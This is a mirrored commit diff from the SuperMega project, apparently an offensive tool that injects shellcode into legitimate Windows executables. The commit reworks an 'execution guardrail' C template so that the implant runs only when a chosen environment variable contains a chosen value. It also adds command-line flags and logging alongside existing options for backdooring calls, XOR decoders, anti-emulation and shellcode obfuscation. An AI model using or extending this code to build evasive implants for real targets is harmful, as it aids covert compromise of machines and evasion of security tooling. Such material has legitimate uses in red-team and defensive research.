mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
feature: rework guardrails
This commit is contained in:
@@ -211,7 +211,8 @@ def add_project():
|
||||
settings.decoder_style = request.form['decoder_style']
|
||||
payload_location = request.form['payload_location']
|
||||
settings.payload_location = PayloadLocation[payload_location]
|
||||
settings.plugin_guardrail_data = request.form.get('guardrail_data', settings.plugin_guardrail_data)
|
||||
settings.plugin_guardrail_data_key = request.form.get('guardrail_data_key', settings.plugin_guardrail_data_key)
|
||||
settings.plugin_guardrail_data_value = request.form.get('guardrail_data_value', settings.plugin_guardrail_data_value)
|
||||
settings.plugin_virtualprotect = request.form.get('virtualprotect', "standard")
|
||||
|
||||
# overwrite project
|
||||
|
||||
@@ -1,29 +1,46 @@
|
||||
|
||||
char my_tolower(char c) {
|
||||
if (c >= 'A' && c <= 'Z') {
|
||||
return c + ('a' - 'A'); // or return c + 32;
|
||||
}
|
||||
return c;
|
||||
}
|
||||
|
||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||
int i = 0;
|
||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||
if (str1[i] != str2[i]) {
|
||||
return 1;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return 0;
|
||||
// Returns 1 if 'needle' is found in 'haystack' (case-insensitive), 0 otherwise
|
||||
int contains_case_insensitive(const char* haystack, const char* needle) {
|
||||
if (!haystack || !needle)
|
||||
return 0;
|
||||
|
||||
for (; *haystack; haystack++) {
|
||||
const char* h = haystack;
|
||||
const char* n = needle;
|
||||
|
||||
while (*h && *n && my_tolower((unsigned char)*h) == my_tolower((unsigned char)*n)) {
|
||||
h++;
|
||||
n++;
|
||||
}
|
||||
|
||||
if (*n == '\0') {
|
||||
return 1; // Match found
|
||||
}
|
||||
}
|
||||
|
||||
return 0; // No match
|
||||
}
|
||||
|
||||
|
||||
int executionguardrail() {
|
||||
// Execution Guardrail: Env Check
|
||||
wchar_t envVarName[] = L"USERPROFILE";
|
||||
wchar_t tocheck[] = L"{{guardrail_data}}";
|
||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (mystrcmp(buffer, tocheck) != 0) {
|
||||
return 6;
|
||||
}
|
||||
// Execution Guardrail: Env Check
|
||||
LPCSTR envVarName = "{{guardrail_data_key}}";
|
||||
LPCSTR tocheck = "{{guardrail_data_value}}";
|
||||
char buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = GetEnvironmentVariableA(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (! contains_case_insensitive(buffer, tocheck)) {
|
||||
return 6;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
+2
-1
@@ -17,7 +17,8 @@ class Settings():
|
||||
self.plugin_antiemulation: str = "none"
|
||||
self.plugin_decoy: str = "none"
|
||||
self.plugin_guardrail: str = "none"
|
||||
self.plugin_guardrail_data: str = "C:\\\\Users\\\\hacker"
|
||||
self.plugin_guardrail_data_key: str = ""
|
||||
self.plugin_guardrail_data_value: str = ""
|
||||
self.plugin_virtualprotect: str = "standard"
|
||||
self.plugin_virtualprotect_data: str = ""
|
||||
|
||||
|
||||
+10
-4
@@ -53,9 +53,14 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
||||
logger.info(" Carrier AntiEmulation: {}".format(
|
||||
settings.plugin_antiemulation)
|
||||
)
|
||||
logger.info(" Carrier Guardrail: {}".format(
|
||||
settings.plugin_guardrail)
|
||||
)
|
||||
if settings.plugin_guardrail != "none":
|
||||
logger.info(" Carrier Guardrail: {} (key: {} value: {})".format(
|
||||
settings.plugin_guardrail,
|
||||
settings.plugin_guardrail_data_key,
|
||||
settings.plugin_guardrail_data_value)
|
||||
)
|
||||
else:
|
||||
logger.info(" Carrier Guardrail: none")
|
||||
logger.info(" Carrier Decoy: {}".format(
|
||||
settings.plugin_decoy)
|
||||
)
|
||||
@@ -75,7 +80,8 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
||||
with open(filepath_guardrails, "r", encoding='utf-8') as file:
|
||||
plugin_guardrails = file.read()
|
||||
plugin_guardrails = Template(plugin_guardrails).render({
|
||||
'guardrail_data': settings.plugin_guardrail_data,
|
||||
'guardrail_data_key': settings.plugin_guardrail_data_key,
|
||||
'guardrail_data_value': settings.plugin_guardrail_data_value,
|
||||
})
|
||||
|
||||
# Plugin: Decoder
|
||||
|
||||
+33
-7
@@ -34,7 +34,10 @@ def main():
|
||||
parser.add_argument('--carrier', type=str, help='carrier: data/source/carrier/* (alloc_rw_rx, peb_walk, ...)', default="alloc_rw_rx")
|
||||
parser.add_argument('--decoder', type=str, help='decoder: data/source/decoders/* (xor_1, xor_2, plain, ...)', default="xor_2")
|
||||
parser.add_argument('--antiemulation', type=str, help='anti-emulation: data/source/antiemulation/* (sirallocalot, timeraw, none, ...)', default="sirallocalot")
|
||||
parser.add_argument('--fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=True)
|
||||
parser.add_argument('--guardrail', type=str, help='guardrails: Enable execution guardrails', default="none")
|
||||
parser.add_argument('--guardrail-key', type=str, help='guardrails: key', default="")
|
||||
parser.add_argument('--guardrail-value', type=str, help='guardrails: value', default="")
|
||||
parser.add_argument('--no-fix-iat', action='store_true', help='Fix missing IAT entries in the infectable executable', default=False)
|
||||
parser.add_argument('--carrier_invoke', type=str, help='how carrier is started: \"backdoor\" to rewrite call instruction, \"eop\" for entry point', choices=["eop", "backdoor"], default="backdoor")
|
||||
parser.add_argument('--start', action='store_true', help='Start the infected executable at the end for testing')
|
||||
parser.add_argument('--short-call-patching', action='store_true', help='Debug: Make short calls long. You will know when you need it.')
|
||||
@@ -51,10 +54,23 @@ def main():
|
||||
else:
|
||||
setup_logging(logging.INFO)
|
||||
|
||||
settings.try_start_final_infected_exe = args.start_injected
|
||||
settings.try_start_final_infected_exe = args.start
|
||||
settings.cleanup_files_on_start = not args.no_clean_at_start
|
||||
settings.cleanup_files_on_exit =not args.no_clean_at_exit
|
||||
|
||||
settings.fix_missing_iat = not args.no_fix_iat
|
||||
if args.guardrail:
|
||||
settings.plugin_guardrail = args.guardrail
|
||||
settings.plugin_guardrail_data_key = args.guardrail_key
|
||||
settings.plugin_guardrail_data_value = args.guardrail_value
|
||||
|
||||
logger.info("-( Config: Implant IAT fixup if necessary: {}".format(settings.fix_missing_iat))
|
||||
if settings.plugin_guardrail != "none":
|
||||
logger.info("-( Config: Guardrails Plugin: {} {}/{}".format(
|
||||
settings.plugin_guardrail,
|
||||
settings.plugin_guardrail_data_key,
|
||||
settings.plugin_guardrail_data_value))
|
||||
|
||||
# Shellcode: filename
|
||||
# Inject: filename
|
||||
settings.init_payload_injectable(
|
||||
@@ -130,14 +146,14 @@ def sanity_checks(settings):
|
||||
|
||||
|
||||
|
||||
def start_real(settings: Settings):
|
||||
def start_real(settings: Settings) -> bool:
|
||||
"""Main entry point for the application. This is where the magic happens (based on settings)"""
|
||||
|
||||
# Load our input
|
||||
project = Project(settings)
|
||||
if not project.init():
|
||||
logger.error("Error initializing project")
|
||||
return 1
|
||||
return False
|
||||
|
||||
# CHECK if 64 bit
|
||||
if not project.injectable.superpe.is_64():
|
||||
@@ -158,7 +174,7 @@ def start_real(settings: Settings):
|
||||
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
|
||||
except FileNotFoundError as e:
|
||||
logger.error("Error creating C from template: {}".format(e))
|
||||
return 1
|
||||
return False
|
||||
|
||||
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
|
||||
# So the carrier is able to find the payload
|
||||
@@ -181,7 +197,7 @@ def start_real(settings: Settings):
|
||||
settings = project.settings)
|
||||
except ChildProcessError as e:
|
||||
logger.error("Error compiling C to ASM: {}".format(e))
|
||||
return
|
||||
return False
|
||||
|
||||
# we have the carrier-required IAT entries in carrier.iat_requests
|
||||
# CHECK if all are available in infectable, or abort (early check)
|
||||
@@ -190,7 +206,8 @@ def start_real(settings: Settings):
|
||||
logging.error("IAT entries not found in infectable: {}".format(", ".join(functions)))
|
||||
logging.error("The carrier depends on these functions, but they are not available in the infectable exe.")
|
||||
logging.error("Use another infectable exe, or update the carrier to not depend on these functions.")
|
||||
raise Exception("Required carrier import not found in infectable: {}".format(", ".join(functions)))
|
||||
logging.error(" or dont use --no-fix-iat")
|
||||
return False
|
||||
|
||||
# ASSEMBLE: Assemble .asm to .shc (ASM -> SHC)
|
||||
carrier_shellcode: bytes = phases.assembler.asm_to_shellcode(
|
||||
@@ -227,6 +244,15 @@ def start_real(settings: Settings):
|
||||
elif settings.try_start_final_infected_exe:
|
||||
run_exe(settings.inject_exe_out, dllfunc=settings.dllfunc, check=False)
|
||||
|
||||
if settings.plugin_guardrail != "none":
|
||||
logger.warning("! Remember your guardrails settings when testing")
|
||||
logger.warning("! {}: {} / {}".format(
|
||||
settings.plugin_guardrail,
|
||||
settings.plugin_guardrail_data_key,
|
||||
settings.plugin_guardrail_data_value))
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def obfuscate_shc_loader(file_shc_in, file_shc_out):
|
||||
logger.info(" Obfuscate shellcode with SGN")
|
||||
|
||||
Reference in New Issue
Block a user